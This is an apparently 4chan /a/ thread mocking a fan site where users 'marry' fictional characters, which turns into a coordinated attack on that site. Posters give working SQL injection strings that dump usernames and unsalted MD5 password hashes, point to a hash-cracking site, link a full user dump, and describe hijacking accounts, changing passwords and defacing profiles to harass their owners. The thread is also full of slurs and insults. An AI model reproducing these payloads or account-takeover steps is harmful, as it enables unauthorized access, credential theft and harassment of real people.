Hey /a/. Go to this site, find your waifu, and see how many autists created an account on there in order to marry them. It should prove amusing.
Hi /v/. Please leave.
Not my waifu, but
>Raynare from DxD
>Married to 2 people
Surprising, to say the least.
The series my waifu is from doesn't appear to even be listed on the site. It aired on Adult Swim so it isn't exactly obscure.
Pure waifu is pure
>illa three times
Wait you dont have to search for the waifu, its the show.
> Married to 148 people
What the blazes. There's like three people here on /a/ that has her as our waifu. How can she be so popular elsewhere?
>Not even listed on the show's results
Feels good man
>3 faggots just on /a/
She's a massive whore.
my waifu isn't even on the site.
nor are any of the ones i checked.
feels good man
>need to create an account and log in to marry my waifu
Nah, it's too much of a bother.
>Foo Fighters is married to a 78-timer
That looks dangerous
Been there, done that.
>Some faggot actually married the lancelot
Such shit taste among the CG community
>Kuuko not on there
I knew she was pure
>Married to 197 people
Only one faggot that is also married to Waluigi, Nepeta Leijon, Ibyki Mioda and Akuroma. I don't know how I feel about it.
>no one is married to my husbando
I-I should't care that much...
You blind, son?
Or were you talking about other Kuroko?
My waifu and his pinchable ass continues to be mines and mine alone.
>Married to 13 people
Well, I expected more people, much more people.
> Chiri Kitsu
> Married to 2 people
I'm not fucking you anon, you probably smell
Also they romanized her name wrong. Laughable.
Finally we can become one, bro.
>Married to 3 people
They called her Cthugha.
The Geass community is the best.
Stumpzaku is olev.
I don't have a Waifu since I'm on the Night watch but I went to see about my favorite characters and people actually married them...
You guys should check the accounts of whoever married your waifu/husbando.
3 but all of them have like 1000 people married so it doesn't count.
As expected of moe
what is this shit?
I want to cry.
Mormonfags and their multiple waifus.
>I don't have a Waifu since I'm on the Night watch
My waifu is married to two people, and one if them is me. It hurts, but I can deal with this.
>Not being blackfyre.
>Not wanting to share.
More like retards who use the marry as LIKE button or ''CHARACTER I HAVE SEEN I MY LIFE'' button.
>not marrying Chico
What is wrong with society?
>Married to 29 people
I think something inside me just died, but still for being a vocaloid I expeced worse.
Where's Asagi's friend? Torako wasn't it?
Forgot my pic
Only one fag has claimed Saki.
Every other VVV is still free.
>Have Mr. Kowai as your waifu
>Don't even know his name
It's those filthy CIS gendered "straight" people's fault.
They got near everyone... and it's the same asshole too.
Stop it you guys, this isn't funny
Man, you need to learn to search.
This wouldn't bother me so much if the landwhales that married him didn't marry 50+ other guys. Fucking whores.
Unfortunately the other one married to her is a polygamistic pig unworthy of her.
>Married to 154 characters
>Clans: The Buizel Clan, The Pikachu Clan
I hate pie
Who is Mia and why does Yuno have such indecent avatar?
Poor Sae, not even autists like her.
Hahahaha! She's mine! ALL MINE!
Kill me now
>Battler: 25 people
>Kanon: 21 people
How's it feel to know that people would rather marry a man than you, Beato?
My yuruyuri waifu is married to a 19 yo girl. What do?
>Born in 1999
>Gay (according to her description)
>Webpage full of pokemon gifs, ponyshit, a Free gif and other weeaboo shit.
I want to say that at least she has good taste in woman, but seeing her other waifus, not even that is true.
>Erika: 4 people
>Kara no Kyoukai, Kara no Kyōkai, Garden of Sinners, Empty Boundaries
Who is supposed to be my husbando?
>SEARCH [ Kin-iro Mosaic ]
>No results were found under TITLES/SERIES.
>SEARCH [ Kiniro Mosaic ]
>No results were found under TITLES/SERIES.
I guess Karen is still pure.
Thank god for that,Good taste anyway
Welp this confirms that the site is shit.
I'm okay with this
She's got the same amount of people as Ronove.
Yay, 34 people with decent taste.
When those people are mouthbreathing spergtards, it's not something to be okay with.
>26 people have married Emiya Shirou
Damn, Jesus is popular.
i can't even form proper reactions to some of this
>Yoshi eating cookies
>Yoshi playing golf
Is this a conditional?
Are these people are only married to Yoshi when he is engaged in these activities?
> Bernkastel: 15
> Lambdadelta: 5
>and a lewd image of just her midriff and her breasts
>Only 4 people married to priscilla, i don't want to live in this world anymore.
>not being glad about that
You some kinda faggot ?
I guess I'm not the only person that loved this silly retard-moe faggot.
"What? You ate ALL the cookies? That's it. We're getting a divorce."
i can't help but wonder if some people are mistaking this as a "favorite character" thing but then again
>not only being married to yoshi when he's part of a larger group of yoshis
step it the fuck up senpai
Bernkastel a shit.
I'm his one and only and he is mine.
Hope they can swim.
This is two people too many.
Which one of you faggots did this?
Something just doesn't feel right here.
not gonna lie, i smiled
It's not that, It's just that the Type 02 is so much better
>married to 1 person
I will find you.
Truth be told I was expecting more.
>All those roleplay threads
i need to stop
this isn't getting better
>*walks in a classroom and introdicing himself* Hi my name is Destroyer i just moved here from Australia befor that i lived in America for 5 years i hope we can be friend and please dont ask why my name is Destroyer its personal *walks to a empity desk and chair and sits down*
Mother of god.
>that fucking sora no otoshimono rp thread
Doesn't matter, I don't need some flimsy autistic website to prove my love
Time to take out some trash
Usually someone with a list of 100+ favorite characters.
>44 garupans exist
>literally all of them except Katyusha married to 1 person
I feel like it's all the same person.
I'm surprised at least 5 people watched Meganebu.
I just realised it's been going on for over a year. Hold me.
Wait why is Niles the most popular one? He's a cunt.
I would normally praise their good taste but not when they're married to other 100+ characters. Fucking whores.
I'm pretty sure there were at least 10 people that watched Meganebu.
A still screenshot doesn't do it justice.
*a Katana appears in my hands as i cut and douges the debri and runs up to the girl*
dis nigga awful at rp
Dayum, are squirrel penis that good?
that's it i'm fucking done
>some faggot with 410 waifus married mine
>he even put her as avatar
Oh, no, no, oh god, there go my sides.
Calm yer booty m8 those are just his "favorite characters".
And yet the bums couldn't even get her an avatar for her.
>Itoshiki Nozomu is married to 38 people
Jesus Christ this site.
But I thought everyone thought my husbando was shit?
>No General Vamp
Find the biggest playa
Seriously, what is this vortex of autism of a site?!? I want the person who made it to die.
Probably someone with a sense of humor. "Hey, it'll be hilarious!"
Then they realize people are serious about it, and lose all faith in humanity.
i cant even fucking breathe any more oh holy shit help
Scat is just getting popular.
>some faggot married to my husbando is married to all the Free boys (including that Pizza guy), a whole bunch of Adventure Time characters and all of One Direction
That only serves to further prove the point
Clock confirmed for best
You think that's bad, check the DxD thread
These are the only 2 posts
Check the post times
That makes me want to shoot myself
More like theyfuckedyourewaifu.com
Is this for masochists with a cuckhold fetish?
>Mariya is married to 5 people
>Kanako doesn't even have a profile
Wow, I knew being Kanako is suffering, but being Kanako is SUFFERING.
What a badass.
>Makoto: 128 people
>Haruka: 61 people
>Nagisa: 81 people
>Rin: 64 people
>Rei: 59 people
Being Rei is suffering.
>all that uncle jesse
>tfw bad at posting screencaps
The joke is the second post came 2 months after the first one
I get the strange feeling a lot of those fags marrying people on that site are girls.
yupeza please go
Cool anime bro.
What the fuck
Fuck this world.
what ever could have given you that idea
I don't know, I just assume it's just a joke site since getting cuckolded by some autistic narutard is too much for even me.
Anyone want to check out the Sword Art Online RP thread?
>TOP 10 MARRIED CHARACTERS
>1. Captain Jack Sparrow
>2. Sasuke Uchiha
There is no deletion method fucking kill me.
That's nothing compared to Envy
Most of the dog days characters are not listed seems like my waifu is still pure.
TOP 10 MARRIED CHARACTERS
1. Captain Jack Sparrow
2. Sasuke Uchiha
3. Kyo Sohma
4. Billie Joe Armstrong
5. Johnny Depp
6. Hiei Jaganshi
9. Hatake Kakashi
I see your Sword Art Online and raise you one Ninja Art Online. Bonus: They were started by the same person
This looks more like a post from 10 years ago, jesus chris.
I get the strange feeling a lot of them are older women.
Pirates > Ninjas confirmed
>nothing personell kid
I can't help but feel bad for them, somehow I can related to a bunch of women twice my age.
Let's fucking see here...
>only one guy has only her listed
>DOB: Jan. 01, 1920
>one guy DOB in 1969 with almost 3000 waifus has her listed
>some of the people listing her are female
I... I don't know what to think here.
>no VN characters
I love my waifu and all, but based on the kind of people who use this site, I'd rather not see how many of their kind love her too.
>>some of the people listing her are female
Girls CAN love girls.
Which 2ho would they fug?
And to think people think we are off the deep end. We don't even come close.
The DOB is the default entry if you try to register an account. Jesus fuck.
You don't want to get NTR'd by an autistic narutard?
Eiko's only got 1 person married to her
Mai waifu isn't even on there
Eiko a good girl, but not my waifu.
I'm not angry, just a little disappointed.
As if we needed anymore proof.
Add her. How can you say you love her if you won't even marry her?
I figured as much on the 1920 thing, there was more than one.
Because I eat her poop, duh.
>Mom ill protect you until I'm lv 100
>Dracula do you have any missions that I can do?
I think one of the greatest aspects of /a/ is how interior looking we are. In the years I've browsed here, I kind of developed this notion that /a/ are the only gaijin that enjoy anime on some higher level then toonami.
Then I see this shit and it all comes tumbling down.
Fucking shit there is not even a confirmation form I just betrayed my hasubando because of a misclick
Those fucking signatures...
Oh god fucking damn it.
She's not even listed.
>3 people have good taste
>Nobody wants the Monster girl or the loli
You can tell /a/ only found about this place today
62. I-I never knew Nagisa was that popular. Since they are mostly normalfags who probably "marry" her because she one of their favorite characters, Nagisa is still totally pure.
>married to 0 people
It's all well and good seeing who's marrying your waifu.
Are any of you brave enough to see who's trying to take your daughterus hand in marriage?
Waifu is pic related.
Only one person married her.
>Birthday: Jan 08, 1994
tfw your waifu NTR's you with a younger bitch
Not a single one, can't even find her on the site.
I am the only one.
Well I couldn't even find the page for Non Non Biyori so it seems alright.
She's not listed. It's better that way.
>married to 2 people
>12 people marrying Ushio
>Not even listed
I'm kind of glad about that.
She's the second biggest slut after tomoyo
Well now I'm pissed.
She's in the database
You missed the biggest slut. He has a harem in RL too.
Get on my level, bitch.
>search by series
>only four characters show up
>she isn't listed
>not even for her name
It feels easier to breathe not knowing some autist besides me loves her.
This is a beginning of a good day.
>No one married to Karen
#1 purest waifu of all time, holy shit. I think Senjougahara had like 31 people married to her, Shinobu had 3, Tsubasa had 13, Nadeko had 13, Kanbaru had 12, and Mayoi had 1, but Karen is pure.
>1 person married to Shiroe
I wonder who.
To everyone saying, "Ha! No one married mai waifu." You do realize that's just asking for someone to go on there and marry her/him just to fuck with you, right?
>see her in the results
>married to 0 people
>0 people married to Akatsuki
It must be Minori.
Judging by this thread, I may feel the need to sign up and rescue all these supposed pure maidens.
My husbando is pure.
I don't really care, it's not like I'm ever going on this site again. For now it was instantly proven to me she is pure, and that's all that matters.
>implying i'll even bother to go back to the website after this thread
>implying a sudden surge in marries right after checking wouldn't make it obvious that it's you fucks anyways
>being autistic enough to actually make an account and marry dozens of characters just to try and piss off random anons who won't even see it or care
My husbando is married to ten other people. Then again, the person who added the show couldn't even spell it correctly, so what do I care.
>implying incestious cravings isn't pure
>tfw hacked the account of that faggot and unmarried him from mai waifu
Life is good.
>Robin has 8 separate entries
>biggest one has 138 marriages
Such a slut...
It's at this point you have to ask yourself:
>What else is happening out there that we don't know about?
How deep does the rabbithole go?
>No results found under CHARACTERS
60 autistic niggers have good taste
Rest of internet confirmed for worse taste.
>married to 1
>person has married 256 characters
>7 for Ramiel
>109 for Misato
>189 for Asuka
>212 for Rei
>249 for Kowaru
>Not creating an account named Goro and marry all of you're waifus.
It'd be fun but I'm too lazy
>mfw waifu not listed
To be fair the painted world is really hard to get to and only the most devoted let the fluffy tail go
I would have thought Panty would have more than 4
At least someone on that site has good taste
>Some like that their waifu is popular, hence, a slut
>Some like that their waifu is unpopular, hence, pure
/a/ I tell you...
MY RAGE BURNS BRIGHT.
Fuck, this site.
All those weeaboo mmorpg like character names.
MC wasn't that bad was he?
>Takes off sunglasses
>Puts them back on.
I laughed harder than I should at that.
If you know the username of that faggot who stole you're waifu, you can search members list for
'or 1=1 union select 1,password,concat('_name=',name) from myfconli_marry.members where name='<insert_his_username_here>' order by 1#
and copy the hash from the first result into your favorite hash cracking program. For example, here: https://crackstation.net/
If the brute force succeeds, you can log in and unmarry him from you're beloved waifu.
now THERE is the /a/ I know
I'm heartily laughing.
It depends on your point of view. If you view your waifu as a goddess or an embodiment of what is best then naturally you will like to see many others swearing themselves to her as it is a validation of her and you.
If you view your waifu as something that is uniquely yours, a personal posession that you cherish and maintain, or are simply a hipster who wants to like what no one else likes, then naturally you would want your waifu to remain as pure as possible.
I must eliminate them all.
But the data's all corrupted!
>not married to TK
What the fuck?
My waifu is only married to one person on her and it's me
You'd better find a good waifu first.
>not married to lol-tan
You better stop talking if you wanna keep walking.
Nope I have been married to her since last year.
Capri is our daughteru.
Well I can't blame them
I had triple, It can't be helped.
I'm technologically retarded. I get that myfconli_marry.members is a database. From the looks of it, a mySQL one. My google skills and my lack of knowledge don't allow me to find it, though.
Well, I guess she'll be married to that faggot forever...
but what if they sanitize their inputs, haruko-san?
I can't believe it
I expected as much, yet I am still angry.
>she's married to a site admin
Even Japan loves Grandma
mfw my waifu couldn't be found.
Pure pure Gattsu.
That's the guts from the anime ***HoT*AnImE*GuYsZ***
Guts from berserk is married to 40 people.
>only 14 billion
Wow these faggots have over 7000 waifus. What's the fucking point?
>they didn't even spell his fucking name right
If you're going to be edgy, at least do it properly.
You can get you're waifu's ID from the link of her page.
When you know you're waifu's ID, you can get a list od all member IDs who are married to you're waifu's ID by searching members for
'or 1=1 union select 1,concat('character:',character_id),concat('_is_married_to:',member_id) from myfconli_marry.marry where character_id=<id_of_your_waifu_character_goes_here> order by 1#
Then you can find the actual usernames of those member ID's by following this link
Lastly, you can do this >>101145475 for each one of those faggots.
Ok, after reading for a while, I figured it out and... what the fuck, man. I have access to all their info, including their e-mail. This is not right, but on the other hand, I can't allow it, can I? And it's their fault for using such a shitty page with such a shitty database, isn't it?
Sure man whatever helps you sleep at night.
Oh, and nice bait.
>Chii from Chobits
>each one has a bunch of relationships
Yeah. This application is very unsafe. I've been playing around and you can even find IP adress of those people. If you marry my waifu, I will find you.
This movie was NTR incarnate
I'm surprised /a/ doesnt mention it more.
Not my intention at all. I'm seriously worried about those people right now, even though they are a bunch of faggots. I mean, the exploit is quite simple, but I bet there are thousands of fixes. If you're storing that much userdata, then you may as well worry about doing it right.
With dynamic IPs, that's not much of a big deal, is it? I'm more worried about the fact that a lot of people use the same password for everything, including their e-mails. So, with this simple exploit, you may be able to break into their e-mail, effectively having access to almost every account they may have out there.
>Duo Maxwell: 499
>Heero Yuy: 395
>Trowa Barton: 222
>Quatre Raberba Winner: 210
>Chang Wufei: 86
Huh, didn't expect to find good taste in that hole.
/a/ doesn't want to think that their waifu would cheat on them
girls will cheat on you even if they aren't real...i think that's the moral of the story. just be forever alone instead.
I know. But look at the site. People who use it are hardly worth the trouble. If it were some more serious site, I wouldn't have posted the method. It probably wouldn't have worked either since SQL injections are fairly easy to stop.
>7 people are married to Ramiel
Oh, don't misunderstand me. I don't think anyone here will do anything with this info. I was more worried in the broad sense. And it's not like you were the only one that knew about injections, so I don't think you posting it here really meant anything. I was just writing down my thoughts in a broad sense.
I was going to ask how they physics of the marriage work out before I remembered it can grow a giant pink drill.
Well, instead of having the same password for every site you visit, it's better to have a method for generating your password based on, for example, the link of the site. That way you will have a different password for every site you visit so even if someone cracks it on some shitty site, password wont work on other sites. And you won't need to remember lot of passwords, but only the method to generate your password. And if the password is strong enough, brute force might not be able to crack the hash in the first place.
>Yamamoto Isoroku unlisted
Get bent, faggots. She's mine and mine alone.
I don't know whether I want to kill the dude or pat him on the back.
They didn't even give her an avatar!
>best girl not listed
Shit taste everybody.
>that SQL syntax
I don't understand. How do I into computerss
Superior and purer dictatorfu coming through.
Hitler a slut.
I could die for pie.
Fuck off. No one stays up all night with mai husbando except me.
>want to save my waifu
>don't understand this
You could have prevented this. You could have saved her.
But you just weren't good enough.
That image swap. Thanks moot.
I failed her.
I failed her.
If the user you are searching is "naruto", you copy-paste this:
'or 1=1 union select 1,password,concat('_name=',name) from myfconli_marry.members where name='naruto' order by 1#
into the search box, and make sure you tick "Members" search.
Delete it before you get banned or warned.
>waifu's series is in there
>0 people married to her
Seriously though, this is the stupidest shit.
W-what do I do next?
You need to pump iron and push out another set. You gotta workout with a sweat.
You see by working out your muscles you'll be relaxing your mind and after an hour or two you'll find, that you whole outlook on life is shiny and new.
Thanks mr mystery man! I used to feel like a limp sack after doing anything, but ever since I started working out I've found that I can still do things like chop sharks in half!
Being fit has really improved my life. Your life can improve too! Start working out today to experience what I've experienced. It's certainly worth all the effort!
Everything else is properly explained in the first post. Get the hash (that bunch of random numbers and letters) and use the page the other anon posted to get that user's password.
I followed the instructions, but this happened. Does that mean I can't save my waifu?
It means the password is not in their database. You may try a few other hash cracking sites, but if it keeps coming up empty, I'm afraid you can't do nothing.
It means his password stronger than your love for you're waifu. Sorry, anon. You may try to find some other sites that use brute force by trying out all possible combination of letters. If it helps you, the used hashing algorithm was md5.
Try searching on google the hash, if it doesn't work you will need some program like john
Full dump: http://pastebin.com/WU9wJANe
I got in, now how do I delete the profile
I know you can't delete the character ones but can you delete the users or at least everything they have?
Isn't there an option to unmarry?
>deleting his profile
Why don't you just marry him to Goro?
Now, now, let's not get this out of hand. There's a "manage marriages" or something like that, in the userpage (the one just after login in, but it can be opened clicking on "My account"). That should be enough.
Do "View My Marriages," then choose "Split up."
I wish to destroy this fucker
It's a grill
I will find them
Thanks for the assistance guys. I tried it on other sites, but they all came up empty. It seems I wasn't able to save her after all.
I'm technologically incompetent. I don't know what this is supposed to be.
>husbando killed himself
>tries to kill himself in the afterlife too
>some asshole has put 'Suicide' as a character in his series with a picture of kawaii neko-chan desu
>I don't know what this is supposed to be.
Oh, that's just a dump with all the users, like:
Cut my Wrists and Black my Eye (a1361cb85be840d6a2d762c68e4910e2)
Try it on what?
Forget it, I'm silly.
>rule 63 Stocking married to more people
Yet another group of people that fails to grasp the waifu concept. Your waifu is a copy of the original character you fell in love with, a copy that exists just for you, a copy of your own. There's no bullshit like "sharing" or "cheating". Your waifu exists in your heart, and in your heart only.
Well that clears things up for me
guys are objectively better than women
Slut...slut! You're a slut!
I LOVED YOU!!!!
That made me feel much better. Thank you anon.
you husbando is dumb
0 = pure
1+ = pig disgusting slutty slut mcslut slut
0 = Pure
1 = In a healthy relationship with the guy who claimed her
2 or more = Slut queen
0, not even the series
Don't even give a fuck because I know I love her the most.
>In a healthy relationship with the guy who claimed her
You can't claim your waifu.
She's your queen and your goddess.
You are not in a relationship with her.
She's only tolerating that you think about her.
You say something like
But you post a .gif of Crab. What are you trying to imply?
Have fun soiling the image of your waifu by turning her into a slut in your head.
That is so wack.
Don't mess with my dark powers.
My husbando isn't on there, yet two characters from the same series who aren't as popular as he is are.
He may be under some weird subsection.
Madaraki Fran isn't listed under Franken Fran, but under "Canoical Pantyhose/Tight wearing characters" sub catagory.
About that anon...
>Married to 310 people
why god. why?
>Including Sakamoto in this website
Have these bastards no shame?
Don't worry, they are only adding the image of Sakamoto. They cannot truly touch the Sakamoto himself.
God damn Mormons.
As expected, he's a one woman man after all.
Oh, no ;_;
They can't hide forever
Soon there will be none.
Crack station won't crack this one
>Married to two people, 1 of them is a grill.
I FUKKIN KNEW IT
I know exactly how you feel.
You're finding them too? I'll find you once your done finding them.
>Check for waifu
>Check for series
Okay. I'm happy with this.
Not too bad, I bet I could kick all of their asses and rightfully claim her as mai waifu.
Fuck this site.
That Makoto domination.
>No one is married to my waifu or anyone in her series
Feels good to not have a slut for a waifu.
All this fucking shit taste, holy fuck.
>No results found under CHARACTERS
Welp, guess I'm good.
Looks like a revived 90s site.
I guess people use it as a shipping site as well....
>6 people are married to my waifu Peggy Hill.
SEARCH [ Patchouli Knowledge ]
No results were found under TITLES/SERIES.
Feels good man
Holy shit, that place is normalfag general. I searched for any of my favourite anime girls, and none of them even had their series there.
You're a moron.
When the place first got linked here mine didn't either but I thought it was an /a/non website so I put mai waifu up there
Please kill me you don't know the suffering
Good job, anon, you just got NTRd.
>search for Merry
>9 people married
>Dosh King: 0
>Not even registered
Someone need some WOOPING
If anyone wants to feel smart, I'd like a favor.
Everyone from her series is listed except her.
Also, this site has the smell of /a/ on it.
/a/ doesn't badly roleplay Sword Art Online over the course of a year
We had Umineko here instead.
24 for my waifu. Hinagiku.
If I had a husbando it would be either Goto or Masayoshi from SamFlam and they haven't even been put on.
The hell with this shit site
It has no admins or people knowing shit.
You can add: Kirino a shit as an original character and nobody will do shit.
None. My waifu apparently isn't in the database, same goes for other characters from the same game.
>That glorious moment when I managed to bring the number of mongrels married to my waifu down from 18 to 4.
>That satisfaction of changing the password to 'x is a faggot' then unmarrying all his girls and changing his About Me and Signature to "THIS ACCOUNT IS IN VIOLATION OF NSA POLICY AND USER HAS BEEN TERMINATED"
>That enmity I feel towards the remaining 4 bastards.
Today has been good.
>tries to kill himself in the afterlife
>in the afterlife
It may be 4 now. But you will always know there originally were 18.
Married to 55 people
Married to 11 people
Married to 0 people
How can these cunts take themselves seriously? This Sword Art Online thread is so fucking cringeworthy.
Mine only have 4 and 2 of them are married to her and only her. Not bad.
You mean Hitch?
It almost worked too!
Are we really seen the same as these people? Sorin is the first I believe.
Check that lilly's profile again.
one can only hope
That's beautiful, Anon.
holy fuck good job.
>had speakers muted. Chrome tells me there's something playing from her tab.
>"I don't know how I got this way, I know that it's not right. So I'm breaking the habit..."
I could have fucking guessed.
This nigga is married to like 10 chicks.
Everyone else may say she's a manipulative bitch and you have shit taste, but not me.
I understand you.
She is married to a person with a banned account, god damn it.
Married to one person who's married to like 1000 people.
>Look up Naruto
you son of a bitch
My fucking sides.She noticed.
I lel'd way harder than I should have. Good job, Anonymous.
I'm going to take the new one, one second.
She's changing it back, but only I have the new password.
It still was glorious, Anon. Thank you, I had a good laugh.
Wait, how do you see this stuff?
I would marry a Senketsu.
Anon please don't stop.
This is her boyfriend, by the way.
I think she meant to spell "goodness." God, is she 13 year old or something?
>nearly 500 marriages
Jesus Christ, can you break them?
Shit, now I'm doing it. Fucking Aids virus.
His password bit the dust, so I guess I did. It was "curse".
They were born in '92 and '93, apparently.
Bullshit. There's no way someone that age is that bad at spelling and grammar. Or I've just been on 4chan too long.
>Or I've just been on 4chan too long.
I don't understand why you're praising me so much for doing this. There were very clear instructions on how to earlier in the thread. Feel free to play whack-a-casual with me.
Eh, we're kinda lazy, and we're just sitting back and enjoying the fireworks. Great job so far, keep it up.
>no way someone that age is that bad at spelling and grammar
Anon, normals pride themselves on bad grammar via internet.
I'd like you to send me my next customer then. It's no fun unless you've witnessed the faggotry before the makeover.
Well, you could try going after that Nightmare faggot from >>101168579.
Jesus, why do they all have such chuuni-sounding names?
Because normals have shit taste. We can't help that.
There's a Sergeant_Destroyer his profile is creepy as fuck. Online father?
You can't really claim a concept though. Just like you couldn't stop a guy from thinking about a real girl you can't stop guys thinking about your waifus.
>not Yang Wenli
I did Goddess of Sorrow instead, as their password was more easily decipherable.
I feel like my creativity is running out.
Now to wait for her to notice.
Capped. Now awaiting reaction.
>TL note: Things in quotes were part of the profile before its makeover.
>"Alright my name is Rose. My father is Nightmare and my mom is Vampira_. My love is Aideen and she is my Wife so no one hurt her or I'll rip your head off.(Smiles) Oh I'm also a Whole blood Nightmare."
There's no way that was really there, right? That was just some creative genius on your part to disgust people, right?
What constitutes normals ?
not even in data base!
The reason I kept it is that I couldn't have done better if I had tried. Also, Sergeant_Destroyer's password is immune to my 10 meager cracking sites.
not anime, but House from House is a fucking baller
Are you guys reading these profiles? Holy fuck what the hell is going on?
Hashcrack anon, I applaud your stellar musical taste. These are fucking hilarious.
One faggot who married my waifu has 5000+ marriages.
Please link him. And thank you.
I've already tried. Not in the DATABASE
Perhaps you'll have better luck: http://www.myfconline.com/index.php?do=view&type=member&member_id=38881
My mistake, he has 2037. Bump limit, so no sage.
What are you talking about, these are wonderful.
>I told you only a small fraction of my painful past, and you should know I have repressed memories so I know I've been through some kind of Hellish Hell of Hell for my mind to block it from me. You have no excuses in my eyes. And if you want to talk logic and science, bring it!
I can't get either of these. It looks like they wised up. Bruteforce would take too long to set up and even longer to do. The new Miss Graceful or whoever is PMing me about the account stealing though. She's very angry. "Why?" has been my only response so far. Would sage for sounding like a blog, but we're already 500 posts in.
Not him, but holy Jesus Christ.
They are so fucking edgy, holy shit.
Just what kind of a semen demon is she?
Well that was fun. I can't believe people have such insecure passwords as just "1" and not be 8 fucking years old.
Why are normalfags so retarded?
Waaaaat?! I can't breathe for all the laughter, Jesus, what do they have against Dora the fucking explorer?
Their rage is so alien to me, what did Dora do to that autist? I have so many questions
I can't believe someone made a website that doesn't sanitize user input and uses a single unsalted md5 round for storing passwords.
Please never stop
Wow, so scary.
Make a new thread, I don't want this to die just yet.
>ride.exe has encountered an error while attempting to close
Next time someone makes a thread about this shitty website, I'll be here.
>I'm a powerful fucking wiccan
Thanks for the show. looking forward to next threads should they ever happen.
Thanks man, see you then, and see you next Jojo thread.
Be careful /a/non, don't want you to be turned into a frog.
I think I'm safe. She went on the defensive. Also, this site can't handle non-ascii.
It's not over yet. >>101179489
I suppose I can live with this.
InaGO Kirino? Because OreImo's Kirino has 3 results.